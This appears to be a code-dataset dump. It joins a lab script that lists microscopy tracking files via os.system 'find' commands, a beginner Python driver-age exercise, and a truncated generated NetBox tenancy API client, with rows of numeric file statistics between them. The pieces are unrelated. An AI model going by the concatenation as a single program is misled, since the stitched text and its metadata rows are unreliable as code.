#'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/s∆dlt+Mg', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/s∆dltA', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/s∆flotillin', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/sCtrl∆flotillin', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/s∆tagU', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/sCtrl∆tagU', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/s∆ugtP', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/sCtrl∆utgP', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/FloAntTct', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/FloTntAct', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/DltD', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/PBP3-2', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/MreB' #] dirs_all = [ '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Amp10min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Amp30min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Amp90min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Fos10min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Fos30min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Fos90min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Nis10min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Nis30min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Nis90min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Tun10min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Tun30min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Tun90min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Van10min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Van30min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/Van90min', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/AmpCtrl', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/FosCtrl', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/NisCtrl', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/TunCtrl', '/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/Flotillins/VanCtrl', ] #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/DltD/Amp', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/DltD/Cells', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/DltD/Ctrl', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/DltD/Fos', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/DltD/Protoplasts', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/DltD/Tun', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/DltD/Van', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/DltD/∆floA', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/DltD/∆flot', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/PBP3-2/Amp', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/PBP3-2/Cells', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/PBP3-2/Ctrl', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/PBP3-2/Fos', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/PBP3-2/Protoplasts', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/PBP3-2/Tun', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/PBP3-2/Van', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/PBP3-2/∆floA', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/PBP3-2/∆flot', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/MreB', #'/Users/sagarsetru/Documents/Princeton/wingreen/for NED/analysis/PBP3', #] #%% #find ~/Documents/Princeton/wingreen/for\ NED/analysis/Flotillins/m∆pbpC/FloT/* -type f -name "*.csv" | grep "vac_track" > m_delta_pbpC_FloT_vacTracks.txt # define strings str1 = 'find ' str2 = '/* -type f -name "*.csv" | grep ' str_vacFind = '"vac_track" > ' str_msdFind = '"msd_track" > ' str_FloT_dir = '/FloT' str_FloA_dir = '/FloA' str_FloA_fName = '_FloA' str_FloT_fName = '_FloT' str_vac_fName = '_vacTracks' str_msd_fName = '_msdTracks' str_ext = '.txt' # loop over main directories for mainDir in dirs_all: # get the experimental condition for this data exptCond = '/'+os.path.split(mainDir)[1] # go to appropriate directory #os.chdir(mainDir) # add slash for spaces in string mainDirRun = mainDir mainDirRun = mainDirRun.replace(" ", "\\ ") print(mainDir) # define conditions cond_FloA = os.path.exists(mainDir+str_FloA_dir) cond_FloT = os.path.exists(mainDir+str_FloT_dir) cond_Cells = os.path.exists(mainDir+'/Cells') cond_Protoplasts = os.path.exists(mainDir+'/Protoplasts') cond_Amp = os.path.exists(mainDir+'/Amp') cond_Ctrl = os.path.exists(mainDir+'/Ctrl') cond_Fos = os.path.exists(mainDir+'/Fos') cond_Tun = os.path.exists(mainDir+'/Tun') cond_Van = os.path.exists(mainDir+'/Van') cond_delta_floA = os.path.exists(mainDir+'/∆floA') cond_delta_floT = os.path.exists(mainDir+'/∆floT') cond_main = cond_FloA or cond_FloT or cond_Cells or cond_Protoplasts or cond_Amp or cond_Ctrl or cond_Fos or cond_Tun or cond_Van or cond_delta_floA or cond_delta_floT if cond_main: # if there is a subdirectory specific to "FloA" if cond_FloA: print('FloA') # define the command for vac and run command = str1+mainDirRun+str_FloA_dir+str2+str_vacFind+mainDirRun+exptCond+str_FloA_fName+str_vac_fName+str_ext os.system(command) # define the command for msd and run command = str1+mainDirRun+str_FloA_dir+str2+str_msdFind+mainDirRun+exptCond+str_FloA_fName+str_msd_fName+str_ext os.system(command) #... # if there is a subdirectory specific for "FloT" if cond_FloT: print('FloT') # define the command for vac and run command = str1+mainDirRun+str_FloT_dir+str2+str_vacFind+mainDirRun+exptCond+str_FloT_fName+str_vac_fName+str_ext os.system(command) # define the command for msd and run command = str1+mainDirRun+str_FloT_dir+str2+str_msdFind+mainDirRun+exptCond+str_FloT_fName+str_msd_fName+str_ext os.system(command) # for MreB, dltd, pbp3-2 folder if cond_Cells: print('Cells') # command for vac and run command = str1+mainDirRun+'/Cells'+str2+str_vacFind+mainDirRun+'/Cells'+str_vac_fName+str_ext os.system(command) # command for msd and run command = str1+mainDirRun+'/Cells'+str2+str_msdFind+mainDirRun+'/Cells'+str_msd_fName+str_ext os.system(command) #... # for MreB, dltd, pbp3-2 folder if cond_Protoplasts: print('Protoplasts') # command for vac and run command = str1+mainDirRun+'/Protoplasts'+str2+str_vacFind+mainDirRun+'/Protoplasts'+str_vac_fName+str_ext os.system(command) # command for msd and run command = str1+mainDirRun+'/Protoplasts'+str2+str_msdFind+mainDirRun+'/Protoplasts'+str_msd_fName+str_ext os.system(command) #... # for MreB, dltd, pbp3-2 folder if cond_Amp: print('Amp') # command for vac and run command = str1+mainDirRun+'/Amp'+str2+str_vacFind+mainDirRun+'/Amp'+str_vac_fName+str_ext os.system(command) # command for msd and run command = str1+mainDirRun+'/Amp'+str2+str_msdFind+mainDirRun+'/Amp'+str_msd_fName+str_ext os.system(command) #... # for MreB, dltd, pbp3-2 folder if cond_Ctrl: print('Ctrl') # command for vac and run command = str1+mainDirRun+'/Ctrl'+str2+str_vacFind+mainDirRun+'/Ctrl'+str_vac_fName+str_ext os.system(command) # command for msd and run command = str1+mainDirRun+'/Ctrl'+str2+str_msdFind+mainDirRun+'/Ctrl'+str_msd_fName+str_ext os.system(command) #... # for MreB, dltd, pbp3-2 folder if cond_Fos: print('Fos') # command for vac and run command = str1+mainDirRun+'/Fos'+str2+str_vacFind+mainDirRun+'/Fos'+str_vac_fName+str_ext os.system(command) # command for msd and run command = str1+mainDirRun+'/Fos'+str2+str_msdFind+mainDirRun+'/Fos'+str_msd_fName+str_ext os.system(command) #... # for MreB, dltd, pbp3-2 folder if cond_Tun: print('Tun') # command for vac and run command = str1+mainDirRun+'/Tun'+str2+str_vacFind+mainDirRun+'/Tun'+str_vac_fName+str_ext os.system(command) # command for msd and run command = str1+mainDirRun+'/Tun'+str2+str_msdFind+mainDirRun+'/Tun'+str_msd_fName+str_ext os.system(command) #... # for MreB, dltd, pbp3-2 folder if cond_Van: print('Van') # command for vac and run command = str1+mainDirRun+'/Van'+str2+str_vacFind+mainDirRun+'/Van'+str_vac_fName+str_ext os.system(command) # command for msd and run command = str1+mainDirRun+'/Van'+str2+str_msdFind+mainDirRun+'/Van'+str_msd_fName+str_ext os.system(command) #... # for MreB, dltd, pbp3-2 folder if cond_delta_floA: print('∆floA') # command for vac and run command = str1+mainDirRun+'/∆floA'+str2+str_vacFind+mainDirRun+'/∆floA'+str_vac_fName+str_ext os.system(command) # command for msd and run command = str1+mainDirRun+'/∆floA'+str2+str_msdFind+mainDirRun+'/∆floA'+str_msd_fName+str_ext os.system(command) #... # for MreB, dltd, pbp3-2 folder if cond_delta_floT: print('∆floT') # command for vac and run command = str1+mainDirRun+'/∆floT'+str2+str_vacFind+mainDirRun+'/∆floT'+str_vac_fName+str_ext os.system(command) # command for msd and run command = str1+mainDirRun+'/∆floT'+str2+str_msdFind+mainDirRun+'/∆floT'+str_msd_fName+str_ext os.system(command) #... # for fusion constructs else: print('no sub category') # define the command for vac and run command = str1+mainDirRun+str2+str_vacFind+mainDirRun+exptCond+str_vac_fName+str_ext os.system(command) # define the command for msd and run command = str1+mainDirRun+str2+str_msdFind+mainDirRun+exptCond+str_msd_fName+str_ext os.system(command) #... print(' ') #...
47.079027
171
0.698108
1,923
15,489
5.542902
0.095164
0.153673
0.221972
0.247584
0.82428
0.805141
0.79332
0.781499
0.72155
0.402946
0
0.011613
0.171606
15,489
329
172
47.079027
0.81646
0.464717
0
0.188976
0
0
0.264042
0.206647
0
0
0
0
0
1
0
false
0
0.007874
0
0.007874
0.110236
0
0
0
null
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7418ee4cdb22fe5a6d3dcb29667c7fd9e487b8e1
2,090
py
Python
code/tesla.py
hyosung11/Python
60290ac909ffb200811f54a9f4a0081010f9cb92
[ "MTLL" ]
4
2020-04-10T14:34:01.000Z
2022-02-18T04:53:12.000Z
code/tesla.py
hyosung11/Python
60290ac909ffb200811f54a9f4a0081010f9cb92
[ "MTLL" ]
4
2021-03-31T19:24:33.000Z
2022-01-13T02:10:21.000Z
code/tesla.py
hyosung11/Python
60290ac909ffb200811f54a9f4a0081010f9cb92
[ "MTLL" ]
1
2022-02-18T04:53:11.000Z
2022-02-18T04:53:11.000Z
# def checkDriverAge(age=0) # age = input("What is your age?: ") # # if int(age) < 18: # print("Sorry, you are too young to drive this car. Powering off") # elif int(age) > 18: # print("Powering On. Enjoy the ride!"); # elif int(age) == 18: # print("Congratulations on your first year of driving. Enjoy the ride!") # # checkDriverAge() #1. Wrap the above code in a function called checkDriverAge(). Whenever you call this function, you will get prompted for age. # Notice the benefit in having checkDriverAge() instead of copying and pasting the function everytime? #2 Instead of using the input(). Now, make the checkDriverAge() function accept an argument of age, so that if you enter: #checkDriverAge(92); #it returns "Powering On. Enjoy the ride!" #also make it so that the default age is set to 0 if no argument is given. # =============================================== #1. Wrap the above code in a function called checkDriverAge(). Whenever you call this function, you will get prompted for age. # Notice the benefit in having checkDriverAge() instead of copying and pasting the function everytime? # def checkDriverAge(): # age = input("What is your age?: ") # if int(age) < 18: # print("Sorry, you are too young to drive this car. Powering off") # elif int(age) > 18: # print("Powering On. Enjoy the ride!"); # elif int(age) == 18: # print("Congratulations on your first year of driving. Enjoy the ride!") # checkDriverAge() #2 Instead of using the input(). Now, make the checkDriverAge() function accept an argument of age, so that if you enter: #checkDriverAge(92); #it returns "Powering On. Enjoy the ride!" #also make it so that the default age is set to 0 if no argument is given. def checkDriverAge(age=0): if int(age) < 18: print("Sorry, you are too yound to drive this car. Powering off") elif int(age) > 18: print("Powering On. Enjoy the ride!"); elif int(age) == 18: print("Congratulations on your first year of driving. Enjoy the ride!") checkDriverAge(55)
44.468085
126
0.669378
313
2,090
4.469649
0.239617
0.038599
0.051465
0.083631
0.952823
0.952823
0.952823
0.952823
0.952823
0.932094
0
0.019335
0.208134
2,090
46
127
45.434783
0.825982
0.813397
0
0
0
0
0.410112
0
0
0
0
0
0
1
0.125
false
0
0
0
0.125
0.375
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
74776af9797867b92f510048139ab1667727761f
63,928
py
Python
netbox_client/api/tenancy_api.py
nrfta/python-netbox-client
68ba6dd4d7306513dc1ad38f3ac59122ba4f70a8
[ "MIT" ]
null
null
null
netbox_client/api/tenancy_api.py
nrfta/python-netbox-client
68ba6dd4d7306513dc1ad38f3ac59122ba4f70a8
[ "MIT" ]
null
null
null
netbox_client/api/tenancy_api.py
nrfta/python-netbox-client
68ba6dd4d7306513dc1ad38f3ac59122ba4f70a8
[ "MIT" ]
null
null
null
# coding: utf-8 """ NetBox API API to access NetBox # noqa: E501 OpenAPI spec version: 2.8 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from netbox_client.api_client import ApiClient class TenancyApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def tenancy_tenant_groups_create(self, data, **kwargs): # noqa: E501 """tenancy_tenant_groups_create # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_create(data, async_req=True) >>> result = thread.get() :param async_req bool :param WritableTenantGroup data: (required) :return: TenantGroup If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenant_groups_create_with_http_info(data, **kwargs) # noqa: E501 else: (data) = self.tenancy_tenant_groups_create_with_http_info(data, **kwargs) # noqa: E501 return data def tenancy_tenant_groups_create_with_http_info(self, data, **kwargs): # noqa: E501 """tenancy_tenant_groups_create # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_create_with_http_info(data, async_req=True) >>> result = thread.get() :param async_req bool :param WritableTenantGroup data: (required) :return: TenantGroup If the method is called asynchronously, returns the request thread. """ all_params = ['data'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenant_groups_create" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'data' is set if ('data' not in params or params['data'] is None): raise ValueError("Missing the required parameter `data` when calling `tenancy_tenant_groups_create`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'data' in params: body_params = params['data'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenant-groups/', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TenantGroup', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def tenancy_tenant_groups_delete(self, id, **kwargs): # noqa: E501 """tenancy_tenant_groups_delete # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_delete(id, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant group. (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenant_groups_delete_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.tenancy_tenant_groups_delete_with_http_info(id, **kwargs) # noqa: E501 return data def tenancy_tenant_groups_delete_with_http_info(self, id, **kwargs): # noqa: E501 """tenancy_tenant_groups_delete # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_delete_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant group. (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenant_groups_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `tenancy_tenant_groups_delete`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenant-groups/{id}/', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def tenancy_tenant_groups_list(self, **kwargs): # noqa: E501 """tenancy_tenant_groups_list # noqa: E501 Call to super to allow for caching # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_list(async_req=True) >>> result = thread.get() :param async_req bool :param str id: :param str name: :param str slug: :param str description: :param str q: :param str parent_id: :param str parent: :param str id__n: :param str id__lte: :param str id__lt: :param str id__gte: :param str id__gt: :param str name__n: :param str name__ic: :param str name__nic: :param str name__iew: :param str name__niew: :param str name__isw: :param str name__nisw: :param str name__ie: :param str name__nie: :param str slug__n: :param str slug__ic: :param str slug__nic: :param str slug__iew: :param str slug__niew: :param str slug__isw: :param str slug__nisw: :param str slug__ie: :param str slug__nie: :param str description__n: :param str description__ic: :param str description__nic: :param str description__iew: :param str description__niew: :param str description__isw: :param str description__nisw: :param str description__ie: :param str description__nie: :param str parent_id__n: :param str parent__n: :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :return: InlineResponse20054 If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenant_groups_list_with_http_info(**kwargs) # noqa: E501 else: (data) = self.tenancy_tenant_groups_list_with_http_info(**kwargs) # noqa: E501 return data def tenancy_tenant_groups_list_with_http_info(self, **kwargs): # noqa: E501 """tenancy_tenant_groups_list # noqa: E501 Call to super to allow for caching # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_list_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param str id: :param str name: :param str slug: :param str description: :param str q: :param str parent_id: :param str parent: :param str id__n: :param str id__lte: :param str id__lt: :param str id__gte: :param str id__gt: :param str name__n: :param str name__ic: :param str name__nic: :param str name__iew: :param str name__niew: :param str name__isw: :param str name__nisw: :param str name__ie: :param str name__nie: :param str slug__n: :param str slug__ic: :param str slug__nic: :param str slug__iew: :param str slug__niew: :param str slug__isw: :param str slug__nisw: :param str slug__ie: :param str slug__nie: :param str description__n: :param str description__ic: :param str description__nic: :param str description__iew: :param str description__niew: :param str description__isw: :param str description__nisw: :param str description__ie: :param str description__nie: :param str parent_id__n: :param str parent__n: :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :return: InlineResponse20054 If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'name', 'slug', 'description', 'q', 'parent_id', 'parent', 'id__n', 'id__lte', 'id__lt', 'id__gte', 'id__gt', 'name__n', 'name__ic', 'name__nic', 'name__iew', 'name__niew', 'name__isw', 'name__nisw', 'name__ie', 'name__nie', 'slug__n', 'slug__ic', 'slug__nic', 'slug__iew', 'slug__niew', 'slug__isw', 'slug__nisw', 'slug__ie', 'slug__nie', 'description__n', 'description__ic', 'description__nic', 'description__iew', 'description__niew', 'description__isw', 'description__nisw', 'description__ie', 'description__nie', 'parent_id__n', 'parent__n', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenant_groups_list" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'id' in params: query_params.append(('id', params['id'])) # noqa: E501 if 'name' in params: query_params.append(('name', params['name'])) # noqa: E501 if 'slug' in params: query_params.append(('slug', params['slug'])) # noqa: E501 if 'description' in params: query_params.append(('description', params['description'])) # noqa: E501 if 'q' in params: query_params.append(('q', params['q'])) # noqa: E501 if 'parent_id' in params: query_params.append(('parent_id', params['parent_id'])) # noqa: E501 if 'parent' in params: query_params.append(('parent', params['parent'])) # noqa: E501 if 'id__n' in params: query_params.append(('id__n', params['id__n'])) # noqa: E501 if 'id__lte' in params: query_params.append(('id__lte', params['id__lte'])) # noqa: E501 if 'id__lt' in params: query_params.append(('id__lt', params['id__lt'])) # noqa: E501 if 'id__gte' in params: query_params.append(('id__gte', params['id__gte'])) # noqa: E501 if 'id__gt' in params: query_params.append(('id__gt', params['id__gt'])) # noqa: E501 if 'name__n' in params: query_params.append(('name__n', params['name__n'])) # noqa: E501 if 'name__ic' in params: query_params.append(('name__ic', params['name__ic'])) # noqa: E501 if 'name__nic' in params: query_params.append(('name__nic', params['name__nic'])) # noqa: E501 if 'name__iew' in params: query_params.append(('name__iew', params['name__iew'])) # noqa: E501 if 'name__niew' in params: query_params.append(('name__niew', params['name__niew'])) # noqa: E501 if 'name__isw' in params: query_params.append(('name__isw', params['name__isw'])) # noqa: E501 if 'name__nisw' in params: query_params.append(('name__nisw', params['name__nisw'])) # noqa: E501 if 'name__ie' in params: query_params.append(('name__ie', params['name__ie'])) # noqa: E501 if 'name__nie' in params: query_params.append(('name__nie', params['name__nie'])) # noqa: E501 if 'slug__n' in params: query_params.append(('slug__n', params['slug__n'])) # noqa: E501 if 'slug__ic' in params: query_params.append(('slug__ic', params['slug__ic'])) # noqa: E501 if 'slug__nic' in params: query_params.append(('slug__nic', params['slug__nic'])) # noqa: E501 if 'slug__iew' in params: query_params.append(('slug__iew', params['slug__iew'])) # noqa: E501 if 'slug__niew' in params: query_params.append(('slug__niew', params['slug__niew'])) # noqa: E501 if 'slug__isw' in params: query_params.append(('slug__isw', params['slug__isw'])) # noqa: E501 if 'slug__nisw' in params: query_params.append(('slug__nisw', params['slug__nisw'])) # noqa: E501 if 'slug__ie' in params: query_params.append(('slug__ie', params['slug__ie'])) # noqa: E501 if 'slug__nie' in params: query_params.append(('slug__nie', params['slug__nie'])) # noqa: E501 if 'description__n' in params: query_params.append(('description__n', params['description__n'])) # noqa: E501 if 'description__ic' in params: query_params.append(('description__ic', params['description__ic'])) # noqa: E501 if 'description__nic' in params: query_params.append(('description__nic', params['description__nic'])) # noqa: E501 if 'description__iew' in params: query_params.append(('description__iew', params['description__iew'])) # noqa: E501 if 'description__niew' in params: query_params.append(('description__niew', params['description__niew'])) # noqa: E501 if 'description__isw' in params: query_params.append(('description__isw', params['description__isw'])) # noqa: E501 if 'description__nisw' in params: query_params.append(('description__nisw', params['description__nisw'])) # noqa: E501 if 'description__ie' in params: query_params.append(('description__ie', params['description__ie'])) # noqa: E501 if 'description__nie' in params: query_params.append(('description__nie', params['description__nie'])) # noqa: E501 if 'parent_id__n' in params: query_params.append(('parent_id__n', params['parent_id__n'])) # noqa: E501 if 'parent__n' in params: query_params.append(('parent__n', params['parent__n'])) # noqa: E501 if 'limit' in params: query_params.append(('limit', params['limit'])) # noqa: E501 if 'offset' in params: query_params.append(('offset', params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenant-groups/', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='InlineResponse20054', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def tenancy_tenant_groups_partial_update(self, id, data, **kwargs): # noqa: E501 """tenancy_tenant_groups_partial_update # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_partial_update(id, data, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant group. (required) :param WritableTenantGroup data: (required) :return: TenantGroup If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenant_groups_partial_update_with_http_info(id, data, **kwargs) # noqa: E501 else: (data) = self.tenancy_tenant_groups_partial_update_with_http_info(id, data, **kwargs) # noqa: E501 return data def tenancy_tenant_groups_partial_update_with_http_info(self, id, data, **kwargs): # noqa: E501 """tenancy_tenant_groups_partial_update # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_partial_update_with_http_info(id, data, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant group. (required) :param WritableTenantGroup data: (required) :return: TenantGroup If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'data'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenant_groups_partial_update" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `tenancy_tenant_groups_partial_update`") # noqa: E501 # verify the required parameter 'data' is set if ('data' not in params or params['data'] is None): raise ValueError("Missing the required parameter `data` when calling `tenancy_tenant_groups_partial_update`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'data' in params: body_params = params['data'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenant-groups/{id}/', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TenantGroup', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def tenancy_tenant_groups_read(self, id, **kwargs): # noqa: E501 """tenancy_tenant_groups_read # noqa: E501 Call to super to allow for caching # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_read(id, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant group. (required) :return: TenantGroup If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenant_groups_read_with_http_info(id, **kwargs) # noqa: E501 else: (data) 